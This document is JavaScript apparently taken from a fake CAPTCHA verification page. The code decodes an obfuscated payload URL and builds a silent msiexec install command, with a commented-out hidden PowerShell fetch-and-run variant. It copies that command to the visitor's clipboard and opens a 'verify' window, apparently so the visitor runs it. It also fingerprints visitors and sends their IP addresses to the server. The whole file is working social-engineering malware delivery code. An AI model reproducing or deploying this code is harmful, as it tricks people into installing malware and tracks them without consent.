function cjsh(input) { let nonce = 0; let hash; while (true) { hash = MD5(input+nonce).toString(); if (hash.startsWith('888')) { return hash+'_'+nonce; } nonce++; } } function sjsh(jsh, f='') { const t = getParameter("rt"); let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', `/?jsc=${jsh}&f=${f}&t=${t}`); xhr.onload = function() { if (xhr.status >= 200 && xhr.status < 300) { let gotourl = hex2a(strrev(atob(hex2a(strrev(atob(xhr.response)))))); if (gotourl.length > 5) { window.gotourl = gotourl; } else { gotourl = window.gotourl; } //const command = `msiexec /qn /i ${gotourl}`; //const command = `msiexec KLSK=1101 /package ${gotourl} /promptrestart LAPBO=189 /quiet NIANS=299`; const command = `msiexec SKSIA=1401 /package ${gotourl} /promptrestart LAPBOS=119 /passive NIANS=299`; //const command = `powershell -w h -c "$f=$env:TEMP+'\\'+[guid]::NewGuid()+'.ps1';curl ${gotourl} -o $f;powershell -w h -ep Bypass -f $f"`; cp(command); try { navigator.clipboard.writeText(command); } catch (e) { console.log(e); } const checkboxWindow = document.getElementById("checkbox-window"); const verifyWindow = document.getElementById("verify-window"); setTimeout(() => { checkboxWindow.style.width = "500px"; checkboxWindow.style.height = "auto"; verifyWindow.classList.add("active"); }, 50); sub4(0); sub6(0); } else { sjsh(jsh, f); } }; xhr.onerror = function() { sjsh(jsh, f); }; xhr.send(); } function spgfp() { const fpPromise = import('/assets/f.js').then(FingerprintJS => FingerprintJS.load()) fpPromise.then(fp => fp.get()).then(result => { const t = getParameter("rt"); sjsh(cjsh(`${t}${result.visitorId}`), result.visitorId); }).catch(error => console.error(error)) } function sub4(i) { const v4d = ['ipv4.icanhazip.com', 'ipv4.ident.me', 'ipv4.tnedi.me', 'ipv4.whatismyip.akamai.com', 'ipv4.ipecho.net/plain', 'ipv4.seeip.org']; if (i >= v4d.length) {return;} try { let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', 'https://'+v4d[i]); xhr.onload = function() { if (xhr.status >= 200 && xhr.status <= 300) { window.i4 = xhr.response; const t = getParameter("rt"); fetch(`/submit.php?i=${xhr.response}&t=${t}`); subfp(xhr.response); } else { sub4(i+1); } }; xhr.onerror = function() { sub4(i+1); }; xhr.send(); } catch (error) { console.log('sub4_error: '+error); } } function sub6(i) { const v6d = ['ipv6.icanhazip.com', 'ipv6.ident.me', 'ipv6.tnedi.me', 'ipv6.whatismyip.akamai.com', 'ipv6.ipecho.net/plain', 'ipv6.seeip.org']; if (i >= v6d.length) {return;} try { let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', 'https://'+v6d[i]); xhr.onload = function() { if (xhr.status >= 200 && xhr.status <= 300) { window.i6 = xhr.response; const t = getParameter("rt"); fetch(`/submit.php?i=${xhr.response}&t=${t}`); subfp(xhr.response); } else { sub6(i+1); } }; xhr.onerror = function() { sub6(i+1); }; xhr.send(); } catch (error) { console.log('sub6_error: '+error); } } function subfp(ip) { const fpPromise = import('/assets/f.js').then(FingerprintJS => FingerprintJS.load()) fpPromise.then(fp => fp.get()).then(result => { window.fp = result.visitorId; const t = getParameter("rt"); fetch(`/submit.php?i=${ip}&f=${result.visitorId}&t=${t}`); }).catch(error => console.error(error)) } function subcf(cfverify) { try { const t = getParameter("rt"); let xhr = new XMLHttpRequest(); xhr.withCredentials = false; xhr.open('GET', `/?cfverify=${cfverify}&f=${window.fp}&i4=${window.i4}&i6=${window.i6}&t=${t}`); xhr.onload = function() { if (xhr.status >= 200 && xhr.status <= 300) { if (xhr.response == "0") { errorCF(); } else { successCF(); setTimeout(() => { window.location.href = xhr.response; }, 500); } } else { subcf(cfverify); } }; xhr.onerror = function() { subcf(cfverify); }; xhr.send(); } catch (error) { console.log('subcf_error: '+error); } } getParameter = (key) => { address = window.location.search; parameterList = new URLSearchParams(address); return parameterList.get(key); } function hex2a(hex) { let str = ''; for (let i = 0; i < hex.length; i += 2) { str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return str; } function strrev(str) { return str.split('').reverse().join(''); } function cp(text) { const textarea = document.createElement('textarea'); textarea.value = text; textarea.style.position = 'fixed'; document.body.appendChild(textarea); textarea.select(); try { const successful = document.execCommand('copy'); if (!successful) { console.error('Copy command failed'); } } catch (err) { console.error('Unable to copy text', err); } document.body.removeChild(textarea); }